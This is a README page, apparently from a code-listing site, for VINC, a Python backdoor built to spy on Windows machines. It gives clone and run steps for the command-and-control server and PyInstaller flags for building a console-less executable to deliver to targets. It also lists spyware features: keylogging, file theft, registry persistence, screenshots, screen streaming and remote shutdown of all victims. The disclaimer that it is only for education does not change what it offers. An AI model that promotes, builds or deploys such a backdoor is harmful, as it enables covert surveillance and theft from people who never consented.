VINC
A Python backdoor for spying on Windows machines
Install / Use
/learn @joaoajmatos/VINCREADME
VINC - 0.9.6 :door:
:busts_in_silhouette: Python backdoor for windows machines :busts_in_silhouette:
:warning: Attention: Project under development :warning:
:exclamation: The following code is not finished and is under heavy development. Experimental features are being added every day :exclamation:
:exclamation: Do not use this code in order to develop a stable bug-free undetectable backdoor :exclamation:
Description :scroll:
Vinc is a backdoor tool initially developed to spy on Windows machines, giving free access to all kinds of information about the target/s.
Download vinc
git clone https://github.com/JoaoAJMatos/VINC.git
Run vinc
To run VINC's command and control center simply run:
python commandCenter.py
:exclamation: Although it can be used on any machine, the command and control center was made to run on Linux, therefore some commands may not work and some bugs may occur when running the script on a Windows host :exclamation:
The backdoor can be converted into an executable file in order to be delivered to the target's machine:
pip install pyinstaller
pyinstaller backdoor.py --onefile --noconsole
Note: The final build will change according to the host's architecture. Building the .exe file on a 64-bit machine would make the program unusable when opened on a 32-bit machine.
To run the backdoor double click the .exe file. The connection will be automatically astablished with the server after 15 seconds. If the server is offline, the backdoor will attempt to connect every 15 seconds until a connection is finaly made.
How it works :gear:
All the machines running vinc will connect to the vinc server automatically and will be able to run commands remotely. The Command & Control Center (CMD&CTRL) is responsible for both handling the connections (acting as the server) and sending commands.
Every time a machine connects to the server a new Target ID is created. The CMD&CTRL Center can then use that machine's target ID to interact with that specific session of the backdoor.
Commands can also be sent via broadcasting to all the connected machines, giving the attacker the ability to execute commands on every machine simultainiously
Is it detectable? :mag_right:
YES! Vinc is considered malicious software by 10 of the 67 most popular anti-virus softwares. All the connections made and packets transmited over the internet can also be traced down to you! :feet:
Screenshots :camera:
todo
Commands :computer:
Vinc is able to execute commands both in the CMD&CTRL Center and inside a specific backdoor session. The following tables contain all of the available commands in version 0.9.6.
CMD&CTRL Center commands
The following commands can be executed inside the the CMD&CTRL shell:
| Command | Arguments | Description |
| :---------: | :-----------: | :-------------: |
| clear | - | Clears the screen |
| list-targets | - | Displays all the online backdoor sessions with their corresponding session ID |
| using | Session ID | Enters the specified backdoor session
| kill | Session ID | Kills the specified backdoor session
| shutdown | - | Kills all the online backdoor sessions and turns off the CMD&CTRL Center
| terminate-all | - | Remotly turns off every computer that's connected to the network
| broadcast | Command | Sends the specified command to all online backdoor sessions
Individual backdoor session commands
The following commands can only be executed inside an individual backdoor session
| Command | Arguments | Description |
| :---------: | :-----------: | :-------------: |
| clear | - | Clears the screen |
| exit | - | Kills and exits the current backdoor session |
| background | - | Exits the current session and returns to the CMD&CTRL Center |
| help | - | Lists all the current available commands
| upload | Path | Uploads the specified file to the targets file system |
| download | Path | Downloads a file from the targets file system |
| keylog-start | - | Starts the keylogger at the current backdoor session |
| keylog-dump | - | Show the keylogger log on the screen |
| keylog-stop | - | Stops the keylogger at the current backdoor session and delets the keylogger file from the target's fyle system |
| persistence | RegName, FileName | Creates a persistent session inside the target's PC. Every time the target boots the system the backdoor will start |
| screenshot | - | Takes a screenshot of the current backdoor session screen |
| stream-start | - | Starts screensharing |
| stream-stop | - | Stops screensharing
Additional commands
Vinc is also able to run every Windows command on the target's machine remotly
I want to contribute!
Vinc is currently in a closed-beta development status and is higly unstable. Submissions to the repository are currently closed but you can report errors and bugs!
Legal Advice :oncoming_police_car:
This repository and every script inside it are for educational and testing purposes only. The creator nor any contributor will be responsible for the consequences of your actions.
:exclamation: Only use vinc with the full consent of the targeted machine's owner :exclamation:
Related Skills
node-connect
350.8kDiagnose OpenClaw node connection and pairing failures for Android, iOS, and macOS companion apps
frontend-design
110.4kCreate distinctive, production-grade frontend interfaces with high design quality. Use this skill when the user asks to build web components, pages, or applications. Generates creative, polished code that avoids generic AI aesthetics.
openai-whisper-api
350.8kTranscribe audio via OpenAI Audio Transcriptions API (Whisper).
qqbot-media
350.8kQQBot 富媒体收发能力。使用 <qqmedia> 标签,系统根据文件扩展名自动识别类型(图片/语音/视频/文件)。
